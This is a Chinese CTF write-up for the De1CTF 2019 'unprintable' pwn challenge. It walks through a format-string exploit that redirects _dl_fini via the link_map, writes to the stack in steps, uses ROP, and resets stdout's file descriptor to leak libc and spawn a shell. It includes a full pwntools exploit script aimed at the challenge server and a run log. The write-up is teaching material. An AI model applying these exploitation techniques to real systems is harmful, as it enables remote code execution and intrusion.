原先从没见过,所以这里分开来写。靶机环境是glibc-2.23,该程序漏洞十分依赖其对应的libc。
源程序和相关文件:https://github.com/Ex-Origin/ctf-writeups/tree/master/de1ctf2019/pwn/unprintable 。
目录
安全防护
ex@Ex:~/de1ctf/unprintable$ checksec unprintable
[*] '/home/ex/de1ctf/unprintable/unprintable'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
溢出点
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to Ch4r1l3's printf test");
printf("This is your gift: %p\n", &v3);
close(1);
read(0, buf, 0x1000uLL);
printf(buf, buf);
exit(0);
}
标准的格式化漏洞。关闭了输出流。
但是buf
并不在栈上,所以我们只能利用栈上的地址。
通过查看栈布局,我们能获得一些信息。
Breakpoint *0x4007C1
pwndbg> stack
00:0000│ rsp 0x7fffffffe440 —▸ 0x7fffffffe530 ◂— 0x1
01:0008│ 0x7fffffffe448 ◂— 0xc6767873c5fdf100
02:0010│ rbp 0x7fffffffe450 —▸ 0x4007d0 (__libc_csu_init) ◂— push r15
03:0018│ 0x7fffffffe458 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
04:0020│ 0x7fffffffe460 ◂— 0x1
05:0028│ 0x7fffffffe468 —▸ 0x7fffffffe538 —▸ 0x7fffffffe790 ◂— '/home/ex/de1ctf/unprintable/unprintable.bak'
06:0030│ 0x7fffffffe470 ◂— 0x1f7ffcca0
07:0038│ 0x7fffffffe478 —▸ 0x400726 (main) ◂— push rbp
pwndbg>
08:0040│ 0x7fffffffe480 ◂— 0x0
09:0048│ 0x7fffffffe488 ◂— 0x5a2816c57e0bfdf4
0a:0050│ 0x7fffffffe490 —▸ 0x400630 (_start) ◂— xor ebp, ebp
0b:0058│ 0x7fffffffe498 —▸ 0x7fffffffe530 ◂— 0x1
0c:0060│ 0x7fffffffe4a0 ◂— 0x0
... ↓
0e:0070│ 0x7fffffffe4b0 ◂— 0xa5d7e9bab96bfdf4
0f:0078│ 0x7fffffffe4b8 ◂— 0xa5d7f900de7bfdf4
pwndbg>
10:0080│ 0x7fffffffe4c0 ◂— 0x0
... ↓
13:0098│ 0x7fffffffe4d8 —▸ 0x7fffffffe548 —▸ 0x7fffffffe7bc ◂— 'LC_PAPER=zh_CN.UTF-8'
14:00a0│ 0x7fffffffe4e0 —▸ 0x7ffff7ffe168 ◂— 0x0
15:00a8│ 0x7fffffffe4e8 —▸ 0x7ffff7de77db (_dl_init+139) ◂— jmp 0x7ffff7de77b0
16:00b0│ 0x7fffffffe4f0 ◂— 0x0
在运行_start
之前,先运行的是一些链接库的_dl_init
,通过查看栈发现,其恰好残余下了一个很有用的指针0x7ffff7ffe168
,他就是_rtld_global._dl_ns[0]._ns_loaded
,这个是我们程序的link map
,对程序而言至关重要。
pwndbg> p _rtld_global._dl_ns[0]._ns_loaded
$1 = (struct link_map *) 0x7ffff7ffe168
该程序的溢出点主要在于,但我们修改了_rtld_global._dl_ns[0]._ns_loaded
的值,则在执行exit
函数时便会发生变数。
程序在退出时要完成内存的释放类似的工作,exit
函数保留了这样的思想,在退出是会调用_dl_fini
函数来执行各文件的fini
操作。而执行情况如下:
代码来自:/glibc/glibc-2.23/elf/dl-fini.c:128
internal_function
_dl_fini (void)
{
...
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) ();
...
}
其中变量l
就是我们的_rtld_global._dl_ns[0]._ns_loaded
,原本l->l_addr
为0,则array
的值就是正常的,但是l->l_addr
不为0的话则会使其发生偏移,我们则可以使其直接偏移到bss
段上,使其直接运行bss
段的地址,也即是buf
,则我们就控制了程序流。并且l->l_addr
正好位于l
的首部,所以我们可以直接利用printf
修改其值进行偏移。它的偏移对于第一次printf
而言就是26
。
思路
由于printf
不能使用%$n
在一次printf
中进行链接地址传递操作,所以我们只能将其分成多步,这样才能正常运行。
- 第一次
printf
将栈地址指向第二次printf
的返回地址,由于程序给了栈地址,我们可以直接进行计算。
last = (printf_ret - 904 + 0x10000) & 0xffff
payload ='%904c%26$ln' + '%' + str(last) + 'c%11$hn'
sh.sendline(payload.ljust(0x100, '\0') + p64(elf.symbols['main']) + '\0')
- 第二次则可以直接利用
%$n
修改第一次留下的地址,直接修改该printf
的返回地址,使得我们可以不断调用read
和printf
函数。 - 然后就可以多次使用
printf
完成链接地址操作,从而实现栈的任意写。
def load(position, ch):
time.sleep(interval)
last = (payload_addr+position - 163 + 0x10000) & 0xffff
temp = '%163c%75$hhn' + '%' + str(last) + 'c%21$hn\0'
sh.sendline(temp)
# pause()
time.sleep(interval)
last = (ord(ch) - 163 + 0x100) & 0xff
temp = '%163c%75$hhn' + '%' + str(last) + 'c%16$hhn\0'
sh.sendline(temp)
163就是0xa3
,也即是下面的地址,其主要作用是方便复用且不会改变栈地址。
.text:00000000004007A3 mov edx, 1000h ; nbytes
.text:00000000004007A8 mov esi, offset buf ; buf
.text:00000000004007AD mov edi, 0 ; fd
.text:00000000004007B2 call read
.text:00000000004007B7 mov edi, offset buf ; format
.text:00000000004007BC mov eax, 0
.text:00000000004007C1 call printf
.text:00000000004007C6 mov edi, 0 ; status
.text:00000000004007CB call exit
由于 %$n ,最多只支持
0x2000
,所以栈地址的低字节必须要小于0x2000
才行。
if((printf_ret & 0xffff) > 0x2000):
raise Exception()
注意:对于靶机而言,当payload过长时会读取失败,导致执行错误。但是本地不会,我自己搭的服务器也不会,至于为什么靶机为什么会这样就不得而知了,所以写payload的时候应进行对payload进行压缩,同时要保证有足够的栈空间来执行函数。
写完栈后将printf
的返回地址改成ret
地址,则可以直接利用之前装载的内容进行rop了。
# 0x00000000004005d1 : ret
sh.send('%1489c%75$hn\0'.ljust(0x80+0x18, 'f') + p64(0x0000000004007A3))
由于不能直接用rop修改rdx的值,而且调用printf
后,rdx
的值会被污染导致read
函数无法使用,所以这里我直接利用0x0000000004007A3
地址来修改rdx
寄存器的值,由于现在rsp
已经指向了buf
,所以我们可以直接修改read
函数的返回值,并在后面加上ROP链。
payload = '/bin/sh 1>&0\0'.ljust(0x80 + 0x18, 'h') + flat(layout2).ljust(0x120 - 0x98, 'g') + flat(layout3)
上面代码中layout2
则正好可以踩到read
函数的返回地址。
可以写栈了之后便是正常的ROP。
修改stdout
网上大部分大佬的思路都是利用残余的libc地址来找syscall
指令,这里我不太喜欢这样,我的做法是直接修改stdout->_fileno
,由于程序只关闭了文件描述符1
,却没有关闭文件描述符0
,所以我们可以修改stdout
的文件描述符_fileno
为0,则可以使得程序再次拥有了输出的能力,再用其输出got地址
,执行system
函数。
由于文件描述符1
被关闭,只要我们在执行system
函数时将其重定向到0
,则可以继续使用。也即是/bin/sh 1>&0
。
利用的stdout
地址是之前栈执行留下的地址,只要我们构造ROP然后进行部分覆盖就可以修改stdout->_fileno
的值。
其中要进行多次栈转移,多调试几次就好了,其实也并不复杂。
脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
'''
f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './unprintable'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('45.32.120.212', 9999)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x64/lib/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
# b *0x4007C1
# b *0x000000000040082d
# b *0x4005F0
# c
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
sh.recvuntil('gift: ')
stack_addr = int(sh.recvline(), 16)
log.info('stack_addr: ' + hex(stack_addr))
printf_ret = stack_addr - 0x138
log.info('printf_ret: ' + hex(printf_ret))
payload_addr = printf_ret + 8
log.info('payload_addr: ' + hex(payload_addr))
stdout_addr = stack_addr - 0x1c0
log.info('stdout_addr: ' + hex(stdout_addr))
interval = 0.5
if((printf_ret & 0xffff) > 0x2000):
raise Exception()
last = (printf_ret - 904 + 0x10000) & 0xffff
payload ='%904c%26$ln' + '%' + str(last) + 'c%11$hn'
sh.sendline(payload.ljust(0x100, '\0') + p64(elf.symbols['main']) + '\0')
def load(position, ch):
time.sleep(interval)
last = (payload_addr+position - 163 + 0x10000) & 0xffff
temp = '%163c%75$hhn' + '%' + str(last) + 'c%21$hn\0'
sh.sendline(temp)
# pause()
time.sleep(interval)
last = (ord(ch) - 163 + 0x100) & 0xff
temp = '%163c%75$hhn' + '%' + str(last) + 'c%16$hhn\0'
sh.sendline(temp)
# pause()
stack_addr = 0x601060 + 0x80
buf_addr = 0x601060
layout1 = [
0x000000000040082d, # : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
stack_addr,
]
payload = flat(layout1)
for i in range(len(payload)):
load(i, payload[i])
# 0x0000000000400833 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400833
# 0x0000000000400831 : pop rsi ; pop r15 ; ret
pop_rsi_r15_ret = 0x0000000000400831
ret_addr = 0x00000000004005d1
# 0x00000000004005d1 : ret
sh.send('%1489c%75$hn\0'.ljust(0x80+0x18, 'f') + p64(0x0000000004007A3))
time.sleep(interval)
# stack_addr
layout2 = [
pop_rdi_ret,
0,
pop_rsi_r15_ret,
stdout_addr - 8 * 4,
0,
elf.plt['read'],
pop_rdi_ret,
0,
pop_rsi_r15_ret,
stdout_addr + 8,
0,
elf.plt['read'],
pop_rdi_ret,
0,
0x000000000040082d, # : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
stdout_addr - 8 * 4,
]
# stack_addr + 0x200
layout3 = [
0,0,0,
ret_addr,
pop_rdi_ret,
elf.got['puts'],
elf.plt['puts'],
pop_rdi_ret,
0,
pop_rsi_r15_ret,
stack_addr + 0x400,
0,
elf.plt['read'],
0x000000000040082d, # : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
stack_addr + 0x400,
]
# pause()
payload = '/bin/sh 1>&0\0'.ljust(0x80 + 0x18, 'h') + flat(layout2).ljust(0x120 - 0x98, 'g') + flat(layout3)
time.sleep(interval)
sh.send(payload)
# pause()
time.sleep(interval)
# layout 5
sh.send(p64(0) * 3 + p64(pop_rsi_r15_ret) + p8(0x90))
time.sleep(interval)
sh.send(p64(0) + p64(elf.plt['read']) + p64(0x000000000040082d) + p64(buf_addr + 0x120))
# pause()
time.sleep(interval)
# pause()
# modify stdout->_fileno
sh.send(p8(0))
time.sleep(interval)
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))
layout6 = [
0,0,0,
pop_rdi_ret,
buf_addr,
libc_addr +libc.symbols['system'],
pop_rdi_ret,
0,
libc_addr + libc.symbols['exit'],
]
sh.send(flat(layout6))
sh.interactive()
clear()
运行实例:
ex@pwntools23:~/de1ctf/unprintable$ ./exp.py
[+] Opening connection to 45.32.120.212 on port 9999: Done
[*] '/home/ex/de1ctf/unprintable/unprintable'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/ex/de1ctf/unprintable/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
list index out of range
[*] stack_addr: 0x7ffc22c31a80
[*] printf_ret: 0x7ffc22c31948
[*] payload_addr: 0x7ffc22c31950
[*] stdout_addr: 0x7ffc22c318c0
[+] libc_addr: 0x7fd06429d000
[*] Switching to interactive mode
$ ls -l /bin
total 328
-rwxr-x--- 1 0 1000 52080 Jul 12 11:13 cat
-rwxr-x--- 1 0 1000 126584 Jul 12 11:13 ls
-rwxr-x--- 1 0 1000 154072 Jul 12 11:13 sh
$ ls
bin
dev
flag
lib
lib32
lib64
unprintable